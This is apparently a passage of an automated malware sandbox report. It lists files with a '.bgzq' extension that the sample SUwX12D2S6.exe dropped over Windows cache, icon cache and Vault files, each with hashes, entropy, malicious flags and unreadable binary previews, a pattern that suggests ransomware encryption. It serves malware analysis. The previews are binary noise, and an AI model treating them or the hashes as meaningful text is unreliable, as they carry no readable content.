...n_.@zMZn`.v...q_..mF...u..K.....\.E.LiM.-...L......f...Y....h....fr.G{b.#.

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.701418126990481
Encrypted:	false
SSDEEP:	12:dheAe+HMzFn0Y94Q/yIr0Kur2+1oSokgWv7JcFkBahB1COzjVcii9a:dhva0YxaIgRv1ouWFFBVbD
MD5:	1041503B13FBCA9E259BF88D0DD6850C
SHA1:	C4EED6D2D1E3FE853EA6B4B2637C57A7F5CCF5BC
SHA-256:	165BF70BABF87172D5A39CBA0ED6671F95852666D7A87CCDED5343FAE29B2C65
SHA-512:	9418DE5D43ACF2CB262F71934FD9C09B37D0BA555DBF032F6F6EA9625A206F60F51D97AEFBDF61EEAE5F5CEF5C2D5A9093BA4EAF0D0CA619B400F06CC5341F78
Malicious:	false
Preview:	....B.S.............F..T.r....W..sO...X....g../..N.h3...c&.Y.T.0.j.Y.T....`........._.....E.n..8....\.RH.x......].4.... ..\|Lc..4..il.g.R/w.&...\|K...2q...)k.5....%...C.A.\fX....\|..v... ....Aa%..o.q.F......sa....g......#i.3\|n.O(X.JZ.u.....W..d_.%.8a..hI/.......i'..n..w..G....e...a.h]..Z.> ....D...45./cky.z2>...UYj....@&)2..} ..2........T[.uL.'..1.l.h.5.. ....>jer..~..$.b]....'.......No...%..D5...pU.V.7\V.@.m..79]...K.Q..\|..J.0.>..>%\....(;Hi.....rN....eY......4(1.=i....m...V...^Q..........T.......XIe.&.%B..........L.].\........F..CcT.E...s}\|.UW..RD.;.Ua...9.q..V.....vP.X.....R...I..<....4.IU..z]l..l.^.61.:..M`3..uH....X..Y\|...d...g.........3.citkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332306508726553
Encrypted:	false
SSDEEP:	6144:S2NBFpvkQiKodW080IjsIO+mi1WGFqbam+vyJfbnQkK96B88yKv4bWTmTvEiLSi:S2DCKoBWj3OEWGFZm+6dF4/F
MD5:	1D46B4D99019374E46A69AACD6A4880E
SHA1:	6E03096DBE6199835F9C915C37B82F36272D3246
SHA-256:	BAF117FB8F77D7A76B5E172D3F15BFE037CFC34456CA2B0D55CA48F389D50B9C
SHA-512:	C1E7A0795CF841BC571FF2492CFE8A3450A67F59BCA2517F420B348352E2BD4C64D606290687596DF020A6E77387F6D938A1D1EE6F8DEA6204B8D8D625B5ED45
Malicious:	false
Preview:	...P..P.....O....a....J...T.1...^..6..4....w).......&...A.....c.r.S.....cw....`.K.k....... /......`....E(..N.$...4......>.M.6..PH..<.....f...t'......n..v..qq..R...GN..R!"JYv..>.Io/.5V..TzY.. ...~{..[...~.$.../.g....j..jo..R..j...r.2_>~U-'.3.<{......>Q...o5n.-..k...o0Zt.i+...:)....5N.h.\f...%..-..]k.%...q..s..,.~X[..v..r.E..Y...e-......:.I...4z..[..u.....F)(....~.m. Z?.dC\|TI+.IL'.....l.sC.T..V.6.%.......2P..H....&..f..i.t..l6..]2.Z.....#..^9...z.....<......0...P....U..[}#.!..MW....1c...._.&..6....3.(......V..+_.T.0....=.f8~7..,..b...tI..X..@....q...].af.B.eLz.....I.6...O..\...<....\?Uk.n.d..g3....?.T.(Dz..i..t...DyV.Q...M....h..DFXT.ju!c.u.=......U........MF(.+.3.......+x..........W-9...V<..@b. {...!-.....C....EPQ..h.A...b&.."..z./`. ."Q..._R.....!.^.#..V...[..Q...}...0..a\.....T}.*.7.)b......Q_..=..!-...U..X.R..w.:..9..>.NW..L;....>.......0..].....w......_'....j.f..k.%.1.ek...@h...F.$......w^EE.V"...M ..W..X......}..!9h.'..9

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988351772306178
Encrypted:	false
SSDEEP:	384:KqtfrEy6ibljrbDhUZyXNxbP26uJY8LiuCQ/pCFyA91pVNF6vYSahzHXJ:tdYniBjHDSeN+2uCQxxk1pbYv1aBHXJ
MD5:	423F5901568596ADF0F2B838BFB941BA
SHA1:	B75956803E915D6B20383A48AFFC11B19F82D04D
SHA-256:	D81B1EFE27EDC84F59986C9B3CF1BDF81E3EE364FEB332FFEF969DC1D760BC58
SHA-512:	3DBBFFAD589E6B17A1FE5DC384645525D0DBDED52B16A8C56FC79998AD822683CCDF72F6447FE5385EBE71A5F1961C6DFC8E63BF0ACAA296AD443B5F3DB6AC17
Malicious:	false
Preview:	.... ..K.j...,Z..p.S.B..'..n.s...)... Dy.....di3...\|.<..T.A\|g...K.;..p.X..\1..w......R..`.;p.1....Y.-.].\.-.D..cu?..j.'.GE......0....lXV#mF......!.Z..bC#.X..;(......m+-.q"./D.0....e.\|....3.7'..J...Y.) ..AA.....YV..K.q..j......TJ.U!v9?5...k..j...7...s{q..N..-.`~.....F.%0.$h. g=.}..>..,.C;..N....O..."m......k..C/.G.?..1A.>##m.G..?.T...I..=.....E._.O(......Z...=.....)g.........=7x.D......U...=.U.(w..{h..n_. `F......v......E...n..u..H..._]..X;@........@..L.B..J.4.}....K1.iz.7a.g..._.../..U......>..)...g\.o.[+VOL........d."..r2..o...Kj%..p..xy.y\.l ...=...R.k ,.+T.-..T..u...T..?.....s..[.....C.F]I...q..y........A[;..]..6]FNy....O..,x.N...<..:S....7^9.......U.a0.....`Nb-S...j.............\|.<;4.M.ndC.>.LsQ._...7#..."...xP.gM~..mm...QRG-.p..Y...Y.b...._..k4}...K..Z....ee3..%r..6./4ieb.d.~..O_..#.%...4V.5.s..8..SqP.j....sb*.......X.._........i...L.>.Lknb7..(.h........Pzb..;..X..$.%.d....&......j.....R....B...).??.....]..@.f..>.x...1y.;8.D.O..D.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988523775653072
Encrypted:	false
SSDEEP:	384:9Fr2Z1PieDpkUsUdiFJDCcVkpL2F6pO2spR:7EalU94DDOL2F6OR
MD5:	09161E3910FC5681129BB790700D609E
SHA1:	B049A0A797101DBE0664D7C35F8A22788CB6E48C
SHA-256:	425EF24B42430D2DE975B45213836B0A12DA3049704AE7E2A0091FF2C646CEA3
SHA-512:	90CB4136D071C44E21EF64230EE4C1F0EECF488338B0C199C584C014AC25183E6B13D322543329176EA1E9E7A015CA65C1E88E1CA8D55385B5793A1AA4D32F57
Malicious:	false
Preview:	....`...f.u...z1.o2..u.=..... )...qE..y.@n.s.H...!...T.c...,.bzrV"6._t&$J.\X8c..c..s.Q../P.#{R...a.".._.pW.:y.R:].....sw.....60U.=.m+... .&..]a...d.u...>.>j......A...[..Mjv.n....s....."..kF.vJ..)..o..[$.A"....3....?...c[.......j.W{P..U-lK.,..;Xf.>.......}.H....#.4;...c.ZX..G$.DJ.ef{. .i.v^...M...+W../.<$...=!.lL...u........b..P!>.sxk..........^.......;pZI.A..Fg.....TtU.v`\|..S....q.h..!E.lF..Bo^(...v.g..Fr>..q.%..<O.8 7s.x.WT........3......q.M...q...%.......x^..T./.;.5..G........=..I..d.w..aiC&.op..-R{o8.Bd...rm.G...V......XVIi.Z.:6R..u4......:)]...T0.....H..... q..(Q..E.Cn.....o..`Wk;..Y...O.&.a#...[.=.k...V6b!-..z..;<MT..........5.S$...M.v....1.g...)....Z.3.5.\|j....VY....z...=.{.N.....6.k.m/.<e]..nd$!0...9.?..v=]...y...EN.U....<.....J.j.?...E...g...\|&...f9.q`.sA4q.......h>3.l02....f.7..j.......<.M...~. .).^V...../.%.sg.}e!..#\|.......3...&..<.:MI...R.-..f..V..C!...pfk.....3.2....AR.{.......k.t...x^?.&`0..Sn..S.x.!';..:

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.3316647044191985
Encrypted:	false
SSDEEP:	6144:kUrPVuiVNa1mkiv2mAZEabl+Jm/m+vyJfbnQkK96B88yKv4bWTmTvEiLS/:/civise91blJm+6dF4/c
MD5:	2B913D815CC779DBC0F34889A34E3434
SHA1:	7EE7F2E8F3C054776C3F15B52E26F358B9411236
SHA-256:	E276E133968A6540314FB346F0B96D0B30AAC43E27C7D2B1992D55F46964BBFD
SHA-512:	3F9598B6B3678E536B9144B070D4D3409DB7D000646881C7022E356771C0945AD524C1B3FB00820CFC5553B052494F7E3AD8C42D76DD66F2A2B462365859A5C3
Malicious:	false
Preview:	.w.. S...w...v......U......3V.....VB...M..e:t....E.R...[.C.)C/.j7.%q...n1.0.((]....ba.8....u.....m......).?.K....N.`.....h.i:.,v..........2..n.].......8>.._.....65..bq?.C..\|...EM&....R..;W.......GJ...ntoGO.....;.(..jt....m.Ed..m.f.2...%.v.5".y.!...>..Q.l...-..Y...:......{Bhf..L+./4&...+..Y..\|..,.........oA..q@..b}>)q.T...,.{.,.o:.....e...{..@.....C......:..70..G...uV.eu.s* .$.M..[...x...A.X.W..)..)6e.l..R.!x..M,....9..........J....d..6\..'........%......Ru.j.7..1.9........=.)..1te......en.%{.@.%.5.....$E.z!.FS@.,.'".I.;....v0.~.8a..t.....G..JY.&#.%...@q.&a".6k.....Rg.._t.4a.9;K<.TZ.!^...X.M..\|.n&S....3...Jb...d&.v..s......2.(=.\|......m..O..+.{.(P.....)...:.}/%2\S....w8K8..d&^...V.8!\|.......Z..)M..s.....Rf.+E...y\|.....d:.M.....E..y..;.Xz..q.9...}L=...s..............Wd..!W....... .-.T.s...F....wQy\..Irjy/,H..=Z...<.g).4A.S{..C.k....;.<./'S..z......`..[.m...b.\.g.H....U...[n.r..7%..i..r.<E..G...:.((....01......a....)!.'....UD4.....4}..!..$

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.998020004888051
Encrypted:	true
SSDEEP:	3072:51CENylSEbzUsVcmgNVH0AHN8HKuScD2SRt7tuuRPE:51vylS3sVcNZNUKzcD28uuO
MD5:	5D4271428E3EAF01A6B20943332120B8
SHA1:	C3CCF6021A60FB29091BD57CF8607884F277308E
SHA-256:	B0CC6CFF3EFA20C6114305B91A24930C4B0290DB90BC53019F85D48F94291BA2
SHA-512:	ACA54E4934651AEF242C8F7B345B24C3C7BF0D551C68173ADFFFCBC98E95E2008CDF6579F933497015A6FFCC4A3A5504B553ECF039CA786753B4C655B884469D
Malicious:	true
Preview:	....h.8....^S.\|...8...^2.x..dH..Azd.F...0%C..v29X...B...H.7/.B%M+....n...].\|.zr+To.>..{...p....,..WbAf..r^n.h..c!^...X.........>..Y....K..)@..,\.r.4....90.P..3^yr.+k;...R..A............~.......@.=.....\|Q...'.bq....h4D.2...L.em.\..[..-Ki.dk......7-.p.y.....e.....'.1...S..rf&!..u.!.Eq.y.%.v.o..W..33. ..O..E...d&."....R.qc.....wR.....p.."..).......y.7.Dih..1...Z...)..I.C.%I.T..V5....r..a.......~.-z...Io/X...^..SM..Xs...l..L...F..Ma..;^.......Q..._.....w=.-,...u.. ++....7.f(...._._.R ..o+.!y..3...*..p>.T..........D.X3Ss-A4]...C.1..sv_x..ZP..M.H../..}Q.@...G..9.........W...{....E(.H.....\_....Ai.T7..e.......V.....5C.jG.sO}0FZ...9...2.....#B....rP..,.v.....f.........,...L?..sE.z...D.G%...._ksB...........\.</..2..............6.-..A.3,.0...P.{7.U~..!......:...lv.....1..h~...0.8...{).jk........&....m..B.C+Z.....;.d<N.v.R...[.R.(...........`"......xdGG!..[]...^_..fWD......tM..7.h..y.3......vv.h.....m...[N..G.]ro4..Xs.{.$.vwOJ..s5.} hd......

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.998274187650172
Encrypted:	true
SSDEEP:	3072:G46icFCtXWS8iKv6dNtU0fwoj3qULVMpJ/1t:GidtXB8LCXtOoLqULVMpJNt
MD5:	F36CEA2D866E70FB43C183622BA62824
SHA1:	42E61D556045D31ED01FF54B53548EC3553DFD87
SHA-256:	2ACCE6F028BE2380D3C3F2D54F416C99C165B5E68BAE68EA02B28E2FC2F892A1
SHA-512:	77DAB7D07D2E680649C46DA734619F61FA40E5DCD693D496C02F5E2E1168185F957958572F96D05AD8E9EE6F66F172D68D8B6BAA22DC45444E680B783ACCC8D2
Malicious:	true
Preview:	....h-\|....GU..o.g.8,...}'.ij....}^k`...2u....0b.U.E.y...F...[. ....R.eK2$&...Qc...-.A......LwYx.K1..^.eD..(..:....1....0.....Q.0..(../Ynr..@.]!{.aWD..I..x...1.S.m.k\|..i.Jm...x...q.)zFX\|L"...yi..7.@.'.....s..........1:..e!K...%Au.._.....9.[.e.\|EA.W.H......6..-.~..M......8.g./.\.a..H.......hj`g..d!g!.....X..Z..[.f.6.D....ZX.............BI(.....N.!.....D.5.....4..=.......>...C...Q.)............g.IQ.Z..."M...@~../o]C..._v....%.\|+Yd.`n....,.\...#!D.]`A.....I.T.=I........O.....{..D......%8.I.</..s.F.`WqR..-'D..qw.F....U.W.1.....j{..Y....vy..e.1.zf.X5.]K.W.r........+X.\...>u.YW.......{\|8VD..o<.E.H,I..&.Nh..h.]]..r.....?n%...z.v~~{.....A.....D.....=....Ix_.........z.ZV%.8w.....*....>.s(B)..M..r.......0.re...X8.6..J..7z.[.k.Ur.TBqP.!.n..:...na....J.iyT...7}..P.....T.ce..5...?.R. Z.'t:}.......kQB...y'.lx..}....~$..P...E..s....>L...v.....6...O.'.......d.. ._.R...:..+..X...<$.B........\|......mm.3).....N.C?.mC.n.....-..n.2N.t.V4...<(....;yb.g.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.996631499354237
Encrypted:	true
SSDEEP:	768:Y3njdPXy/gb4jkyMkx5vDTQWUEVjAp+8ELBhEHWW/9nY6F91LrgdplmGVm:Y3V1tivDTTUEVkp+8IEHWW/1ed3mGVm
MD5:	0469845D4E3B095E521843AC50F2E8AC
SHA1:	D30718D2CA92E98B5B40EEB99BDF1C41777DA0BD
SHA-256:	E3C40B3B4C116C092F0B3046FE08312E93FDE6D922FFD1C33ED1BB6CF2E19D38
SHA-512:	D84E161D4949DC48C80D8A277D83F9AAC52BF801740A6C5935939797A322706E4FAE7CA6EA357852CAC287F3B6D8F8CA832F6C0210E808862730A072D02940EF
Malicious:	true
Preview:	......".W....Cf..f...B$mPxs1.@4n..kM>(...[.7....?I....i.<V.Y.H2.;...~.+.!......soU..q.j.B6...I.....il\..Y..3.....q.<...6Xj..\|.X.._.1Q.C. .U.?8?...F.{8..N);."?I......?7D.w........[{.................g<t..~^{....%..GwO.m.8.[\;.....plq....E.^......M..=..9..}O.P..A.:........&.....g....E02..L;.....]z...Sm?..^h.'aj.L.....i`...;.WV.&$%.g.o....p/\3U....f..".......J pHk4.0Njr.iF.5k.OyE.Oxq]:-.+..V<(M.?$..;...(.P...U.f...n.=..3$N...F..(\v.U{.J....c..........o...-...<......+'%/.....2<!.%3.....^ .\|..H.qax.....T._.q....X.btz.]...,_v.I.O$.......c.).E.%$.!0W.......f)t.......h.....-.....t"~.[W.K.e.....k?2.\..N^%w\.:...;f.U..i...[............:[X..L....EB..!)}?eH...B}..f..2....!(....].z..z.........BFg...IQ..O.G...y....u.l...11..G...n.Hl..N.{.,...li.%.....[..:..S..F....@.[...-..\..{...FL....p.7....?P.O.....K/.t.U..[n;..u..R.......U..F..=.x....)..Z.......wL.t.......7...H.~N-n..;z...lu$.7(.v..:".@..).n....I.u.>Z.g.#....+G...$\xq.m.Yv$C....,..-bM.0.U....,

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997791434712994
Encrypted:	true
SSDEEP:	1536:KhRnIzS4qfvlV5c/m5pyIxu8FM+oQX8Y10PZQDo27OPgdOgQQZ5ja:KhRnKSlfvlV223tFFovY10mo275OgQQC
MD5:	5900B820B6233931BBBF3FBB92B7BF6F
SHA1:	8A3BA1A617C3E2EF169E4C482A7C235303D9D19E
SHA-256:	A9F8E980B449054F11B0B9A198525B742314C3A97261CD7A00A47CB6DC560659
SHA-512:	2D6830F435A67EC1B0592CC3E1E6837E916B511631D45CCAEA316DFA9AB4AC9EAB089FAEDD863C0FB1E418B1A616D4354A7E8E4CDC9E7A0F18291AADF947E084
Malicious:	true
Preview:	........[E..F.V.'..k..uh...kKo;..Y.x..S.H?2..d.}...8V1.c.>u.&.E;.R$...7.x.....hV.\|.2x....m..g'..<...^TG....$s4....}z.....$._.4T.}...3..@.+.......(....L..F..x..H...a.k....!.G..j..Z.. .{.=..;#..........7.{.K.m.@.s.....F...K........i}.....5....Q... ....8w..4.K_.y~..H.7.:..b]...T..\s.$<..\|.;.O2:t..#..ILX,.0..<.......v....7t...W.I..?6>.h....n......:RF.x....................1.....h..... G........&.N./..V......]U.)B...-.......R.2..;....@.............I)...c....#.j.........x....;j.sW\........TB.!1./.F..[i.gC...VO.Js.W...0...2.nW.RY.~.8.=.}..8...X..s..;L>5..E..E=....!....c...>z..mMS...L....bG..}....X..WVu}...k..^.o\$.......2H.....(\|...XsRz.I.B.....d...V.G.M..t....?').>.K..+......W....1\4......n...n.R.S0..........SGN..Tf....!5.$A..+..$ .G.\....]...:..M]..)....87..q...._%.n.^.G8...23..4..q?...$`.V..i....X..H.X@\|..TY...X...~A..G.`[.r8....)..u}..n.;...2m1."..o.P.Kx.).y...\!".....c..T.-.W......'.9.FN...}#L.r..7.(A.-.J..<......%..\|.........`

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.818977691858645
Encrypted:	false
SSDEEP:	6144:L5oLvGPIw+tvOJBqccrKluysCZkH9QYG6WcD:LmGatUscu7y3qH9QYTD
MD5:	39AD4773107424D47466991D09660F2F
SHA1:	B657A9DA0E0F7A7B0D07CA8648849F936AB37DF7
SHA-256:	05E9D0DD92EF3470C06EDC92AC89C56FBEDE24EA0A35BD05FF34484F140A4345
SHA-512:	6E4F6979240C50F61E7DACC0B2F921E79A9BD83CB11368AB715F142AD26C7AB30C4C8616B867EDFDADE6C3D9B718B537708C9780E4D8FAA314ABFF81994FC8D3
Malicious:	false
Preview:	. ....DcJ............g.....K.7.Q..d(1....C7.CcM....S...I..aD.A..n"_%D.a..]..B.....'.c.S&...Q.....R..R4-..V.7....LE.Y..{dW..R..%-D.s....dp.)..m...+.R.\I?,...H-...a..'..g....b...G...]...:....C..F'..q.V.U.;...MqM.X.......O..;...FXTq!;J..`.L.).wf U.5\..NN....~..)] `....b...)AoDVT....2...nl....X.k8.R......Ad4..r.mr.~.WDK..k.t.x.D~.b..{..\|r.~....'.?.l.G..r..N....h...V.>.m.`9.m.m<.Q.<....=...iY..'...hR.."#..+..8N..},I..u......%msZJ.X..........K.....H.IV..P..O.x).t&t.p.....)..<L.3%.=...\....}.........El.d..q....=.%.D9~...........g.A.z&%K..............-#..+.......}#..t;1.....;..7r..w.0..\..t.../.......&..........6x....O.q(..}.F.!.V.;.JG..........P.....?..~.@.....2}2T.i..%..x.:.V....3hx...?E_...RP.v(..).K{..&.........d.u..&.e>.6..<L^..s.....Rk..K[...^....?wk......JH....Q.u....f..q:^h........:.......!.9L.....bI_.~.i....1.d....o...x....IXki.k...=C$...d.":(K.4..../T.^..q.......K..g.i4.Ii.....Ed.9.V..t...4a.z8...=..x...r.e*<...mK..>...Y~U...^.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992016161506726
Encrypted:	true
SSDEEP:	384:s8fPL5r9k9IIxaEpYxuK8Jqb1XxIbuaURRvLXkw+9QIfOuRQ5mWHvgpoCYPZeq:s85ri9xxaqYjIi8wowzchWPgGCYPQq
MD5:	A63C8FB7D1A0AFD38CA13A8790D1AA2A
SHA1:	9B04F26AF1E5F8009005A4FF00985135683B4E96
SHA-256:	BA6A3ED52F079DB50DB971233F9961AD031DA755DECA2A7444507596520CB349
SHA-512:	1D20102908F7C7E3D5879053392B41DA72C8286E0969A89D48605E73C73533E745F4E56DFA8C4811BF6DF04FE4C2E02443795432CE3B9933B036F9E1291CB262
Malicious:	true
Preview:	. ...Jwx.....pQX..p\9.M.v./.o...s".hCe...{......k..u;.......P.V}.....4.Kl....i.=....?.S.#....'....a.17`u.2...^......yd.d%rn>...'.7[..?..7.n..H.Lc..Q~.<....}I.V~yt&...#.Erq"8..T..g\|.........P,q....)cmV..2;...qt402.H!..".,z.X0.,a..8.B.6.6q0.-:;..63...fy.6zP/L.LnP"..j...U.K..........m...w+pi..b.&.r...&#..9..[.5$.k3.:...6#m.B..zRSS.S..E/Fe..}.N...C .H..$+.`W/.VFt"...r.f.e=4..Z:.)..G..R...{..l.,2...t.W...$......4..#P..$...O..H(....0jSA....B.NV..).4:i..g0...........u......}.....Yq...8..1S...Y.vY...r.............~.2...f........7..}da(hA....6f-..k..M.o...fG9T..5...D`^.5...Q..!a...m).@....wZ.J...T......0.!m.].l.....L....>.xo.S..4j.i39...B-...Mu.............e.h..9D;.Rl.O.V...Q(.8w...IY.U.U.YF....n...v.._.8.\|...]...~..,.x.y....N..NX.bo#.R..qW.8....;.H.t.\|.eT."d....p..K1.X....o9&[.T./..XJ]oFp.&....`......l..]$.lK..\|2p5..BtW..?J..F..SR...g....&....74..5.....+..q,..!F<.>..}....~.wp...'.[K;7}....9..-.!...G. .4Y.}.]....3X.......u.A.\.......J.{{..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.274028225989634
Encrypted:	false
SSDEEP:	6:4Wv1GUGxT8CbZQeogS8wCn165qqUoEA39WBXUhIIPSsMzjhPcii96Z:TIUGT1bZQCShC161Wd+hIIVejVcii9a
MD5:	942678390BE0CF9A62927F1FA0B0E205
SHA1:	0D38657612C2AC1D37520A22EFCD7EC4AC731489
SHA-256:	D684CC794401823383850A10C0B92F0A1EC7C14013E59CC213BA3DEC7091D941
SHA-512:	2587B28313A03D678062F3DFE5CCC403F3EBF17C24F91587188912E80C93D6A19D3E7FD21B8C81A6927BFF6228F3D89C9FF25346701A417BE59524AFDA50CFFA
Malicious:	false
Preview:	CMMM ..6O.#.._....(lHX<AR.V.Gx.`.....L(.6..._%.:..g1......'..=5........4..#..T.N..<.e\|.#.E...)...IP.3uO.uNms.o.%).D.4>...nlp....+..D.r.p......9.X.:6.(>{A...Ck....d.0.J..q.'uz]....U.a"0...q^.6N.#'BA.(<..P..5.+._.U.\|..)..Z.FB.><}WU.....f....!Z.c{b........X..Z...pX.oitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.294597316385189
Encrypted:	false
SSDEEP:	6:8MT982QYtUpBwp+5hcoxaXzjn5PNXH9nd0BdrefXaYEevCOzjhPcii96Z:FT98HYtyGp+5h3ovH9d6Iy/evJjVciik
MD5:	8197FEC59EDD616A522685203C39078B
SHA1:	A0FB786F032AF97EB77A09975D6397300F05CC6A
SHA-256:	9FD401D3F26B3644988EEECD57F93935BC404BC8E357C44F3A9348D2EB63C66C
SHA-512:	18E9DAF81F5744C4F660850D75A3D59461E72F3C8D1270700997346F369C588081D08ADAF9FA841CE812A00C412F15E4143AA5CF7FF38801EF8BB7FF8803D2BE
Malicious:	false
Preview:	CMMM .7.+.U...A.Pfc..$>.._~......bF.E.,PG.T...P]..f.J\....J..W.....p.73.!....Q9`.I.h..rn..u..0.....+...W.=....:p.y.0.........{. G......."-Ek.."#!..c.y........v..x...c.[..A#..Q.2.M..@Z)...t.......@...W.8..}..=$..w..k....X>3...m....{.W2,&.V4.....o..8;9Y4~%...7.Q.Q.mw..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.289010724206418
Encrypted:	false
SSDEEP:	6:erk4k9IoPXkGe5a/PAD1lpFxmAMlgQyUXNVuPpWLgJEOr9TBrKMzjhPcii96Z:0pkioO5aHARlpFx4p9VyEOOejVcii9a
MD5:	CFEE3F5A271C5EE2E8A0297DA5BAC87E
SHA1:	44EC0810FEDC6F783243BBB034BA420093ADF4B7
SHA-256:	99E6E8CF686A4DD7E3AD623FE518C048C0536AFEF78C1FCAF9577BB2709EE9CB
SHA-512:	6A83DB7170E1D323F8BDA28BC8EA7084C3A5E9B6C10C686492CAD1978E2F90801970FDA2AD3ECB13F1F7B567B54C851CC0BAAA7B90268AD4FF740F3D05E84E7E
Malicious:	false
Preview:	CMMM ...\...O.{...].pE.n..n.l.U..?.w......D....6...w.N...".t.f../...7Ec.C....N...].........Xu.c0%PZt.u.X......-.Bs.%.i.`j1.v9K7A...5...%,D..xA.'..9.......+.q......4..n.....Pv...g.h....i.....n..Slj.G..Wc..M..,..+.(.#...N..$.*q.~/,>....[.b.$z.$. B.. .a@.&.\|....!..0itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.315783142330878
Encrypted:	false
SSDEEP:	6:Ot4UXSwGLPrLxcyHspiy3ht2imFZHY1FBsh60U6dWA4J+lFO2KuzBzjhPcii96Z:OtjXSdLxcyMprRarHY1cWA4YlA2K8jVX
MD5:	D7B7DD178D4EAEEBF94EF257A0405875
SHA1:	72F89F3B9762D68D3A4F41C976F27EEB2A62E051
SHA-256:	ED1E73816CCC502F6C4EE8B1E52AF04E11FCE1358F9579AFE9A2480CC8445F01
SHA-512:	460CDAAF84CDA70F37E572ADB820623E923005241335B60E2F5A73F33F4C1225DB2419DC481782A85E2B8EBEE622883980DB4AD093BC63D2DB22DE150323D27A
Malicious:	false
Preview:	CMMM ...(.%....#..?%......f..3{..y..r.3_>..U.~..~....nJ..#\|.7....{k......7wh...Za.t......wi.-..d..5.Y4z...s..s.......N. q..'.../\.,...t.:...,5....e.&,.."..i(\|..0.].R.4..W..S...z)..Fq5........'....m..^..N..gsq.8..+..u{.?..N....,...G.....E.e..1 ...jzXr.z.....i.j...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.257898512272267
Encrypted:	false
SSDEEP:	6:92BGJBDRSzk5Pcx4giPIY7EZ3zf+HHkxK9s9P5BTfcZjeMzjhPcii96Z:9z/AzkZcxwwYoJzW2+s9xWjDjVcii9a
MD5:	F0D4BE42D5A4EA8E9AF9D5D6C9B7735E
SHA1:	9D4C622E12103255CD03D172EB889ED8BAFE5B2A
SHA-256:	80A417C5FF3154B1575249BD985B1E79E6286981D3E35A3C89F8F373925F3840
